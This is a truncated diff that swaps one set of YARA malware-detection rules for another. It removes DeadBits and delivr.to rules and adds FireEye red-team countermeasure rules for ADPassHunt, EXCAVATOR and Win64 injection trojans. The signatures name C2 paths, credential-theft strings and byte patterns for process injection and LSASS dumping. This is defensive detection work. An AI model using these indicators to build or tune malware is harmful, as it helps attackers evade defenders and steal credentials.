-		id = "d3664a84-bb53-5715-8b0d-e63f43d62496"
-		date = "2019-07-18"
-		modified = "2019-08-08"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT32_Ratsnif.yara#L1-L65"
-		license_url = "N/A"
-		logic_hash = "a33eb2bb9ffe02f9b3fe706bd6a611457c669adc24c34f12d9014ed29ba1399f"
-		score = 75
-		quality = 55
-		tags = "APT32, TROJAN, WINMALWARE, FILE"
-		Author = "Adam M. Swanda"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project."
+		author = "FireEye"
+		id = "35fb8032-c73a-549f-9bd9-409f7050bdb0"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
+		logic_hash = "85c7c147d6bf5b7cb417ff2910a3e7ab3be5e8a3651758c07f8f0ed42b5964d8"
+		score = 50
+		quality = 73
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$pdb0 = "X:\\Project\\BotFrame\\Debug\\Client.pdb" ascii fullword
-		$str1 = "LastIP" ascii fullword
-		$str2 = "LastOnline" ascii fullword
-		$str3 = "LoaderType" ascii fullword
-		$str4 = "Payload" ascii fullword
-		$str5 = "PayloadFile" ascii fullword
-		$str6 = "ClientCommand" ascii fullword
-		$str7 = "ClientId" ascii fullword
-		$str8 = "UserAdmin" ascii fullword
-		$str9 = "User" ascii fullword
-		$str10 = "Password" ascii fullword
-		$str11 = "Access" ascii fullword
-		$str12 = "CreateDate" ascii fullword
-		$str13 = "CreateBy" ascii fullword
-		$str14 = "UserName" ascii fullword
-		$str15 = "ComputerName" ascii fullword
-		$str16 = "Domain" ascii fullword
-		$str17 = "OSType" ascii fullword
-		$str18 = "OSArch" ascii fullword
-		$str19 = "OSVer" ascii fullword
-		$str20 = "InstallDate" ascii fullword
-		$str21 = "LastLoadCommandID" ascii fullword
-		$str22 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" ascii fullword
-		$str25 = "#########################Program starting up#########################" ascii fullword
-		$str26 = "Stop poison" ascii fullword
-		$str27 = "Shell:" ascii fullword
-		$str28 = "shell" ascii fullword
-		$str29 = "Select http redirect domain:" ascii fullword
-		$str30 = "HTTP redirect add file extension:" ascii fullword
-		$str32 = "exIp" ascii fullword
-		$str33 = "Start Poison" ascii fullword
-		$str34 = "vicIP" ascii fullword
-		$str35 = "Insert JSTag" ascii fullword
-		$str36 = "devIp" ascii fullword
-		$str37 = "TransmitTcp" ascii fullword
-		$str38 = "Remove poison IP: %s" ascii fullword
-		$str39 = "Remove my ip or gateway ip: %s" ascii fullword
-		$cnc0 = "/cl_client_online.php" ascii fullword
-		$cnc1 = "/cl_client_cmd.php" ascii fullword
-		$cnc2 = "/cl_client_cmd_res.php" ascii fullword
-		$cnc3 = "/cl_client_file_download.php" ascii fullword
-		$cnc4 = "/ad_file_download.php" ascii fullword
-		$cnc5 = "/cl_client_file_upload.php" ascii fullword
-		$cnc6 = "/cl_client_logs.php" ascii fullword
+		$typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5a4d) and ((10 of ($str*) and 3 of ($cnc*)) or (3 of ($cnc*) and $pdb0))
+		uint16(0)==0x5A4D and $typelibguid
 }
-rule DEADBITS_Crescentcore_DMG : INSTALLER MACOSMALWARE FILE
+rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "2bd03287-3f10-50b0-9560-4c88644f5b20"
-		date = "2019-07-18"
-		modified = "2019-07-22"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/crescentcore_dmg.yara#L1-L48"
-		license_url = "N/A"
-		logic_hash = "819f01fdacea1e95f0f4d4f8e59ebae97ff9489a1be2c60e33253580a8f9e418"
-		score = 75
-		quality = 51
-		tags = "INSTALLER, MACOSMALWARE, FILE"
-		Author = "Adam M. Swanda"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "b6103e23-8d1c-5d01-b283-f4545ccb924e"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_2.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
+		logic_hash = "e7282905a8baeaeb8ec156171fbf2bc4ac811facb80959a88394f4938a145cc1"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$header0 = "__PAGEZERO" ascii
-		$header1 = "__TEXT" ascii
-		$path0 = "/Users/mehdi/Desktop/RED MOON/Project/WaningCrescent/WaningCrescent/" ascii
-		$install0 = ".app\" /Applications" ascii fullword
-		$install1 = "open \"/Applications/" ascii fullword
-		$str1 = /Flash_Player\dVirusMp/ ascii
-		$str2 = /Flash_Player\dAntivirus33/ ascii
-		$str3 = /Flash_Player\d{2}Armageddon/ ascii
-		$str4 = /Flash_Player\d{2}Armageddon\w\dapocalypsyy/
-		$str5 = /Flash_Player\d{2}Armageddon\w\ddoomsdayyy/
-		$str6 = /SearchModel\w\dbrowser/
-		$str8 = /SearchModel\w\dcountry/
-		$str9 = /SearchModel\w\dhomepage/
-		$str10 = /SearchModel\w\dthankyou/
-		$str11 = /SearchModel\w\dinterrupt/
-		$str12 = /SearchModel\w\dsearch/
-		$str13 = /SearchModel\w\dsuccess/
-		$str14 = /SearchModel\w\d{2}carrierURL/
+		$pdb1 = "\\ADPassHunt\\"
+		$pdb2 = "\\ADPassHunt.pdb"
+		$s1 = "Usage: .\\ADPassHunt.exe"
+		$s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
+		$s3 = "[ADA] Searching for accounts with userpassword attribute"
+		$s4 = "[GPP] Searching for passwords now"
 
 	condition:
-		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xbebafeca) and $header0 and $header1 and (($path0 and ( any of ($install*))) or (5 of ($str*))) or all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ((@pdb2[1]<@pdb1[1]+50) or 2 of ($s*))
 }
-rule DEADBITS_Dnspionage : APT DNSCHANGER FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "9f740645-60dc-5376-94ad-59d8efbf1942"
-		date = "2019-07-18"
-		modified = "2019-07-19"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/DNSpionage.yara#L1-L47"
-		license_url = "N/A"
-		logic_hash = "f20c71d0698d98cc58fa199c708ec7bf5cb0ec62503a20b532e752dab9aab920"
-		score = 75
-		quality = 78
-		tags = "APT, DNSCHANGER, FILE"
-		Description = "Attempts to detect DNSpionage PE samples"
-		Author = "Adam M. Swanda"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "736b5300-215b-5314-9234-69ff0050b73e"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
+		logic_hash = "63135c81c1a6b967cb26cced628afc0e7ef485923e6a7fd70a4d4672118d6a8c"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$x00 = "/Loginnn?id=" fullword ascii
-		$hdr0 = "Content-Disposition: fo" fullword ascii
-		$hdr1 = "Content-Type: multi" fullword ascii
-		$ua0 = "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36" fullword ascii
-		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" fullword ascii
-		$str0 = "send command result error! status code is: " fullword ascii
-		$str1 = "uploading command result form" fullword ascii
-		$str2 = "log.txt" fullword ascii
-		$str3 = "http host not found in config!" fullword ascii
-		$str4 = "send command result" fullword ascii
-		$str5 = "download error. status code: " fullword ascii
-		$str6 = "get command with dns" fullword ascii
-		$str7 = "dns host not found in config!" fullword ascii
-		$str8 = "command result is: " fullword ascii
-		$str9 = "command result size: " fullword ascii
-		$str10 = "connection type not found in config!" fullword ascii
-		$str11 = "commands: " fullword ascii
-		$str12 = "command is: " fullword ascii
-		$str13 = "port not found in config!" fullword ascii
-		$str14 = "download filename not found! " fullword ascii
-		$str15 = "base64 key not found in config!" fullword ascii
-		$str16 = "download filename is: " fullword ascii
-		$str17 = "config json is not valid" fullword ascii
-		$str18 = "config file will be changed from server!" fullword ascii
+		$sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A }
+		$sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ((5 of ($str*)) or ($x00 and (1 of ($hdr*)) and 1 of ($ua*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: DelivrTo
- * Repository: https://github.com/delivr-to/detections
- * Retrieval Date: 2024-08-04
- * Git Commit: 437e5c8b301bf96c50840f4ab7ce8524b6201a69
- * Number of Rules: 7
- * Skipped: 0 (age), 2 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule DELIVRTO_SUSP_PDF_MHT_Activemime_Sept23 : FILE
+rule FIREEYE_RT_Trojan_Win64_Generic_22 : FILE
 {
 	meta:
-		description = "Presence of MHT ActiveMime within PDF for polyglot file"
-		author = "delivr.to"
-		id = "fbac1371-bad4-5751-a5c4-ce6c270fb83e"
-		date = "2023-09-04"
-		modified = "2023-09-04"
-		reference = "https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/pdf_mht_activemime.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "af1450f649de6daec242f11e3b3c35305d3127fac4ef719a4ddb4edab3ae3651"
-		score = 70
-		quality = 78
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff"
+		date = "2020-11-26"
+		date = "2020-11-26"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_22.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f7d9961463b5110a3d70ee2e97842ed3"
+		logic_hash = "52fbe5c0ee7c05df5fcd62c26caaa5498e32352da9c5940e522aa31d6c808028"
+		score = 75
+		quality = 75
 		tags = "FILE"
+		rev = 2
 
 	strings:
-		$mht0 = "mime" ascii nocase
-		$mht1 = "content-location:" ascii nocase
-		$mht2 = "content-type:" ascii nocase
-		$act = "edit-time-data" ascii nocase
+		$api1 = "VirtualAllocEx" fullword
+		$api2 = "UpdateProcThreadAttribute" fullword
+		$api3 = "DuplicateTokenEx" fullword
+		$api4 = "CreateProcessAsUserA" fullword
+		$inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
+		$process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
+		$token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }
 
 	condition:
-		uint32(0)==0x46445025 and all of ($mht*) and $act
+		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
 }
-rule DELIVRTO_SUSP_ZPAQ_Archive_Nov23 : FILE
+rule FIREEYE_RT_Trojan_Win64_Generic_23 : FILE
 {
 	meta:
-		description = "ZPAQ file archive with expected file and block headers"
-		author = "delivr.to"
-		id = "28b6ffbe-be95-5ac8-ad3e-f9713a204d98"
-		date = "2023-11-26"
-		modified = "2023-11-27"
-		reference = "https://www.gdatasoftware.com/blog/2023/11/37822-agent-tesla-zpaq"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/zpaq_archives.yar#L1-L14"
-		license_url = "N/A"
-		logic_hash = "348144ee7137def00b37e074507e8148e51d34c484802a56bcd6e090d4628f18"
-		score = 40
-		quality = 80
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "470bfeed-e000-58c6-b115-dfa8aea25bef"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_23.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "b66347ef110e60b064474ae746701d4a"
+		logic_hash = "4c1860801b26abbab8c4aea730bf69f388c902083b9945e11e6782af3ab22789"
+		score = 75
+		quality = 75
 		tags = "FILE"
+		rev = 1
 
 	strings:
-		$fh = { 37 6B 53 74 A0 31 83 D3 8C B2 28 B0 D3 }
-		$block_header = /jDC\d{14}[cdhi]\d{10}/
+		$api1 = "VirtualAllocEx" fullword
+		$api2 = "UpdateProcThreadAttribute" fullword
+		$api3 = "DuplicateTokenEx" fullword
+		$api4 = "CreateProcessAsUserA" fullword
+		$inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
+		$process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
+		$token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }
 
 	condition:
-		$fh at 0 and $block_header
+		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
 }
-rule DELIVRTO_SUSP_Onenote_Win_Script_Encoding_Feb23 : FILE
+rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_2 : FILE
 {
 	meta:
-		description = "Presence of Windows Script Encoding Header in a OneNote file with embedded files"
-		author = "delivr.to"
-		id = "95cd5ce0-07b3-5503-ad6f-944206bd4fb6"
-		date = "2023-02-19"
-		modified = "2023-02-19"
-		reference = "https://github.com/delivr-to/detections"
-		source_url = "https://github.com/delivr-to/detections/blob/437e5c8b301bf96c50840f4ab7ce8524b6201a69/yara-rules/onenote_windows_script_encoding_file.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "b7068f551b3665358f461a076c2d46c82db558d7fa4acb7d3c9c5c2afce31253"
-		score = 60
-		quality = 78
+		description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
+		author = "FireEye"
+		id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_2.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6a9a114928554c26675884eeb40cc01b"
+		logic_hash = "408e8862f0c470105648fdba00dc5531ffcd739fa544f89acb70f0fa1b105c03"
+		score = 75
+		quality = 75
 		tags = "FILE"
+		rev = 3
 
 	strings:
-		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
-		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
-		$wse = { 23 40 7E 5E }
+		$bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
+		$bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? 